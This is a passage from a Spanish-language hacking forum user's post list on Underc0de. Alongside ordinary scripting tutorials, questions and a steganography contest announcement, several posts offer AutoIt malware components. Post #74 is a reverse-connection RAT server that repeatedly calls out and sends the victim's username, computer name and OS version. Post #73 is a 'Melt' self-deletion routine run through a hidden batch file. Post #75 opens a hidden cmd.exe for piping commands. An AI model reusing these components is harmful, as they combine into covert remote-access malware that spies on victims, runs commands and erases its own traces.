Cuando inicia el soft te da unas indicaciones:

Cuando todo Funciona bien se comporta asi:

Cuando tu DNS no esta bien configurado:

Cuando el puerto no esta abierto:

Si tienen dudas coloquen siempre el archivo Log que se crea en la misma carpeta en la que esta el ejecutable.

Descarga:
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Contraseña
79137913

Agradecimientos:
ANTRAX

GRACIAS POR LEER!!!

#68

Otros lenguajes Scripting / [IMPRESIONANTE] Crear Formularios en VBS!

Marzo 20, 2014, 10:48:59 AM

HOLA!!!

Esta herramienta la tengo hace tiempo, gracias a Jim Warrington el creador de los siguientes OCX que permiten a VBS crear y utilizar Formularios!

Empiezo con el "Tutorial" o "Demostracion":

1ro. Descargamos los OCX:

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
La contraseña del Rar es "by79137913"

2do. Colocamos los 3 archivos en System32:
Las rutas completas en mi caso serian:

CitarC:\WINDOWS\system32\wshLWF_FormDesigner.ocx
C:\WINDOWS\system32\wshLWForm.ocx
C:\WINDOWS\system32\wshLtWtForm.ocx

3ro. Registramos los OCX:

Lo hacen con Inicio->Ejecutar-> Y escriben "RegSvr32 " La ruta de los OCX.

4to. Creamos el siquiente .VBS :
Nombre del Archivo: FormDesigner.VBS

Código: vb

Dim oLWFD 'as  object
Dim bCloseClick 'as boolean
  Set oLWFD = WScript.CreateObject("wshLWF_FormDesigner.ucLWFD", "oLWFD_")
  oLWFD.DesignForm()
  bCloseClick = False
  Do
    WScript.Sleep 200
  Loop Until bCloseClick
Set oLWFD = nothing  ' clean up
WScript.Quit
Sub oLWFD_frmCloseClick()
  MsgBox ("Saliendo del Programa, gracias por testear." & CHR(10) & CHR(13) & "By 79137913")
  bCloseClick = True
End Sub

5to. Guardamos y ejecutamos el Script:

Listo, ya tienen funcionando su Editor de Formularios para VBS!

6to. Datos Extra:

Ahora diseñan el Form que quieran y luego solo tienen que apretar ShowCode para que les genere el codigo del formulario!. Si quieren pueden apretar Test para ver como quedaria (yo recomiendo que no lo presionen por que a veces Crashea)

7mo. Ejemplos:

Si, tambien tengo ejemplos...
Pero no son ejemplos cualquiera... son los Originales que Jim Warrington dejo cuando creo esta herramienta, una obra de arte.
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
La contraseña del Rar es "by79137913"

GRACIAS POR LEER!!!

#69

Visual Basic / Voten para un VBClassic compatible con las ultimas tecnologias!

Febrero 14, 2014, 01:50:15 PM

HOLA!!!

Hay una peticion formal en microsoft para que rehagan VB6 y le den soporte en w8.

Por favor voten.

Se vota en este lugar:

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

GRACIAS POR LEER!!!

#70

Dudas y pedidos generales / [SOLUCIONADO] Sistema de cupones / vouchers imprimibles.

Enero 30, 2014, 02:17:18 PM

HOLA!!!

Como andan, quisiera saber si alguno conoce un sistema simple para impresion de cupones y vouchers.

El sistema deberia ser simple del lado del usuario:

Código: text

Combobox Cupon  :[Cupon1/Cupon2/...]

Campo Nombre y A:[ Francisco Perez ]
Campo Documento :[    1234567890   ]

Boton Imprimir  :[    IMPRIMIR!    ]

Del lado de la web solo deberia guardar un registro de a quien se le dan los cupones (nombre, apellido y documento), ademas si se puede limitar la cantidad de cupones diarios.
Y para seleccionar la imagen de fondo de cada cupon.

Eso seria lo que ando buscando, si saben de algun script simple que lo haga me dicen?

GRACIAS POR LEER!!!

#71

Dudas y pedidos generales / [SOLUCIONADO] Archivo INI en HTML5

Enero 28, 2014, 08:32:45 AM

HOLA!!!

El tema es el siguiente:
Quisiera armar un archivo ini para la pagina que estoy armando, para poder editar el mismo en vez de editar el html en si comprenden?

Ejemplo:
Html de mi web:

Código: html4strict

<title>LoadFromIni("Titulo")</title>

Y en el ini:

Código: text

Titulo="Titulo de mi web"

Entonces cuando se muestre el titulo de la web dira:
"Titulo de mi web"

Espero haber sido claro.

Muchas Gracias

GRACIAS POR LEER!!!

#72

Otros lenguajes Scripting / [FUNCION] Autoit TCP File Send

Diciembre 10, 2013, 11:02:38 AM

HOLA!!!

Tuve muchos problemas para recibir datos binarios enviados con autoit, por eso cree esta funcion, a la cual se le pasa un socket conectado, el path del archivo a enviar y el tamaño del bufer de salida.

Nota: Esta funcion no notifica al otro lado cuando inicia o termina un archivo, aunque al terminar su ejecucion el archivo ha sido enviado correctamente por lo que pueden enviar un identificacador de inicio antes de llamar a la funcion y otro despues.

Código: autoit

Func _TCPFileSend($sock, $File, $MaxLen) ;Envia datos binarios desde archivo.
	Local $BytesRead = 0
	$FileHandle = FileOpen($File, 16)
	While 1
		$Data = FileRead($FileHandle, $MaxLen)
		If @error Then ExitLoop
		$BytesRead += TCPSend($sock, $Data)
	Wend
	FileClose($FileHandle)
	Return SetError(0, 0, 1)
EndFunc   ;==>_TCPFileSend

GRACIAS POR LEER!!!

#73

Otros lenguajes Scripting / [FUNCION] Autoit MELT

Diciembre 10, 2013, 10:58:33 AM

HOLA!!!

Melt, el famoso "KillingMeSoftly" aplicado para generar una autodestruccion efectiva.

Código: autoit

Func _Melt() ;Elimina el ejecutable que esta corriendo.
	Local $sCmdFile
	FileDelete(@TempDir & "\scratch.bat")
	$sCmdFile = 'ping -n ' & 15 & '127.0.0.1 > nul' & @CRLF _
			 & ':loop' & @CRLF _
			 & 'del "' & @AutoItExe & '"' & @CRLF _
			 & 'if exist "' & @AutoItExe & '" goto loop' & @CRLF _
			 & 'del ' & @TempDir & '\scratch.bat' 
	FileWrite(@TempDir & "\scratch.bat", $sCmdFile)
	Run(@TempDir & "\scratch.bat", @TempDir, @SW_HIDE)
EndFunc   ;==>_Melt

GRACIAS POR LEER!!!

#74

Otros lenguajes Scripting / [RAT] Lo basico para empezar un RAT en AUTOIT

Diciembre 02, 2013, 11:29:55 AM

HOLA!!!

Estuve Jugando un poco con Autoit los ultimos dias.

Este es un ejemplo que hice de Base para RAT de coneccion inversa (codigo del Server)

Código: autoit

#include <Array.au3>
Global $Socket
Global $Recibe
While 1 ;Reconeccion
   _Conectar()
   TCPSend ($Socket,"Hola")
   While 1 ; Recibir y ejecutar
	  $Recibe =""
	  While $Recibe = ""
		 $Recibe=TCPRecv($Socket,10000000)
		 Sleep (100)
	  WEnd
	  $Dat = StringSplit($Recibe,"|||")
	  Select
	  case $Dat[1] = "GiveMeData"
		 TCPSend ($Socket,"MYDATA|||" & @UserName & "|||" & @ComputerName & "|||" & @OSVersion)
	  EndSelect
   WEnd
WEnd

Func _Conectar()
   While TCPStartup()=0
	  sleep (10)
   WEnd
   While True
	  $Socket=TCPConnect ($IP,$PORT)
	  If $Socket>0 Then
		 ExitLoop
	  EndIf
	  Sleep(1000)
   WEnd   
EndFunc

GRACIAS POR LEER!!!

#75

Otros lenguajes Scripting / [FUNCION] Autoit CMD Prompt

Noviembre 28, 2013, 10:42:17 AM

HOLA!!!

Jugando con autoit cree esta pequeña suite de funciones para trabajar con CMD:

Código: autoit

;Creado por 79137913
#include <Constants.au3>
Global $cmdpid
Global $cmdresponse

;~ _iniciarCMD()
;~ _sendCMDCommand("ping 127.0.0.1",2)
;~ MsgBox(0,"",$cmdresponse)
;~ _sendCMDCommand("cd ..",1)
;~ MsgBox(0,"",$cmdresponse)
;~ _sendCMDCommand("cd ..",1)
;~ MsgBox(0,"",$cmdresponse)
;~ _CerrarCMD()
Exit
func _SendCMDCommand($command,$timeoutlimit);Envia un comando CMD y devuelve la respuesta, timeout es en segundos
    StdinWrite($cmdpid,$command)
    StdinWrite($cmdpid,@CRLF)
	;StdinWrite($cmdpid)
    Local $data
	Local $response
	Local $timeout
	$data = ""
    While True
	    sleep(100)
        $data &= StdoutRead($cmdpid)
        If $data <> "" Then
			$response=$response & $data
			$data=""
			$timeout=0
		EndIf
		$timeout=$timeout+1 
		if $timeout=$timeoutlimit*10 then ExitLoop
    WEnd
    $cmdresponse = $response
EndFunc
func _CerrarCMD();Cerrar CMD
   StdinWrite($cmdpid)
EndFunc   
Func _IniciarCMD();Inicializar CMD
    $cmdpid = Run("C:\Windows\system32\cmd.exe",@SystemDir, @SW_HIDE, $STDIN_CHILD + $STDOUT_CHILD)
EndFunc

GRACIAS POR LEER!!!

#76

Visual Basic / [FUNCION] IsUnicode (Determina si una cadena es unicode o no)

Noviembre 18, 2013, 10:13:33 AM

HOLA!!!

En fin esta funcion lo que hace es determinar si una cadena es unicode o ascii (si es unicode envia true sino false)

Ustedes diran... para que sirve esto, bueno, resulta que hay apis que solo soportan entrada ascii, entonces conesto prevenimos crasheos, en el ejemplo que arme hay un archivo con nombre de fichero unicode (un caracter RLO 202E).

Código: vb

Private Function IsUnicode(Expression As String) As String
'by 79137913
    Dim b() As Byte 'Se crea un array de bytes para almacenar el string
    Dim Aux As String 'se usara para comparar
    b = Expression 'se usa un evil type convert para obtener todos los ascii de los caracteres de la expresion en las posiciones del array
    For x = 0 To UBound(b) Step 2
        Aux = Aux & Chr(b(x)) 'reconstruimos la expresion
    Next
    IsUnicode = (Expression <> Aux) 'asignamos a IsUnicode el resultado de la comparacion
    'Si Expression es = a aux dara Falso por que Expression es totalmente Ascii, sino dara Verdadero por que contiene algun caracter Unicode.
End Function

El ejemplo lo descargan de aca:
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

GRACIAS POR LEER!!!

#77

Off Topic / Un pequeño chiste en viñetas

Octubre 28, 2013, 01:53:23 PM

HOLA!!!

GRACIAS POR LEER!!!

#78

Wargames y retos / [RETO] Esteganografia premios en $$

Agosto 06, 2013, 10:12:33 AM

HOLA!!!
[Nota, no descargar esta imagen que no contiene nada, abajo esta el link de descarga]

[Nota, no descargar esta imagen que no contiene nada, abajo esta el link de descarga]

Las reglas son como se han expresado en el post de la registracion cito debajo:

CitarLes comento lo siguiente, en los proximos dias estare publicando un reto de esteganografia, en el cual podran jugar todos los users menos los staff.

Habra premios en EFECTIVO $$$:

5 USD al primero que lo resuelva,

2,5 USD al segundo que lo resuelva

y 1 USD al tercero que lo resuelva.

Se podran registrar en el foro hasta 50 users que publiquen aqui, asi que Apurense.

El reto no comenzara con menos de 25 users registrados.

El reto comenzara al haber 50 inscriptos, o pasada una semana y con mas de 25 inscriptos o cuando se llegue a 25 inscriptos.

Una vez finalizado el reto, para poder reclamar el $$ deberan hacer un detalle de como superar cada etapa...
y enviarme por mp dicho detalle.

Conocimientos recomendados:
Esteganografia Basico/Intermedio.
Criptografia Basico/Intermedio.
Uso de GOOGLE Intermedio.
Conocimientos varios Intermedio.

Asi que Manos a la obra!

P.D: no piensen que por que no se necesitan conocimientos Avanzados va a ser facil

Continuo, los staff tendran fecha limite de entrega al martes 13 de agosto, mientras que los Users comunes tendran fecha de entrega limite al viernes 6 de septiembre.

Para reclamar el premio ademas de terminar el reto se debera dejar detalle de como se supero cada fase. (este requisito es EXCLUYENTE)

Los premios seran transferidos por Paypal, en caso que el usuario tenga cuenta en paypal argentina debera crearse otra cuenta en el exterior para que se le pueda enviar el giro.

Dentro del reto hay archivos.VBE Esta Expresamente Prohibido crackearlos(desencriptarlos) si tus soluciones implican desencriptar dichos archivos, la misma sera anulada.

Descarga del reto:
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Solo podran participar los siguientes usuarios y staff:
Users:

Código: text

Mr.Blood
The_Swash
Nizzee
Aneraka
Mr.Foster
--------------- 05
Shckr
Underc0der
Iv3c
AcidKode
S00rk
--------------- 10
11Sep
StOrMd[4]rk
Fretenekk
PerverthsO
Chris
--------------- 15
doh-doh
Moy
TUNOVATO
F0M3T
3t0r4n
--------------- 20
zoro248
Aex12
MagoAstral
Amber
cr0c
--------------- 25

Staff que se ha registrado: (he hecho una exepcion)

Código: text

Pr0ph3t
Snifer
Jimeno
aika

GRACIAS POR LEER!!!

#79

Underc0de / [Soft] Underc0de Offline Post Creator!!!

Julio 26, 2013, 01:54:26 PM

HOLA!!!

He creado un creador de posts offline para la gente que no siempre puede tener acceso a internet o usa conecciones antiguas como dial up y le cuesta $$ cada byte XD.

Una imagen vale mas que mil palabras:

Descarga:
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

En reformas

PROXIMAMENTE: Con Preview para los posts.-

GRACIAS POR LEER!!!

#80

Wargames y retos / [PROXIMAMENTE] Reto de esteganografia con premio en $$ [REGISTRESE AQUI]

Julio 02, 2013, 09:51:49 AM

HOLA!!!

Les comento lo siguiente, en los proximos dias estare publicando un reto de esteganografia, en el cual podran jugar todos los users menos los staff.

Habra premios en EFECTIVO $$$:

5 USD al primero que lo resuelva,

2,5 USD al segundo que lo resuelva

y 1 USD al tercero que lo resuelva.

Se podran registrar en el foro hasta 50 users que publiquen aqui, asi que Apurense.

El reto no comenzara con menos de 25 users registrados.

El reto comenzara al haber 50 inscriptos, o pasada una semana y con mas de 25 inscriptos o cuando se llegue a 25 inscriptos.

Una vez finalizado el reto, para poder reclamar el $$ deberan hacer un detalle de como superar cada etapa...
y enviarme por mp dicho detalle.

Conocimientos recomendados:
Esteganografia Basico/Intermedio.
Criptografia Basico/Intermedio.
Uso de GOOGLE Intermedio.
Conocimientos varios Intermedio.

Asi que Manos a la obra!

P.D: no piensen que por que no se necesitan conocimientos Avanzados va a ser facil

Inscriptos hasta el momento de la ultima modificacion de este mensaje:

Código: text

Mr.Blood
The_Swash
Nizzee
Aneraka
Mr.Foster
--------------- 05
Shckr
Underc0der
Iv3c
AcidKode
S00rk
--------------- 10
11Sep
StOrMd[4]rk
Fretenekk
PerverthsO
Chris
--------------- 15
doh-doh
Moy
TUNOVATO
F0M3T
3t0r4n
--------------- 20
zoro248
Aex12
MagoAstral
Amber
cr0c
--------------- 25

Staff que se ha registrado:

Código: text

Pr0ph3t
Snifer
Jimeno

GRACIAS POR LEER!!!

Páginas 1 2 3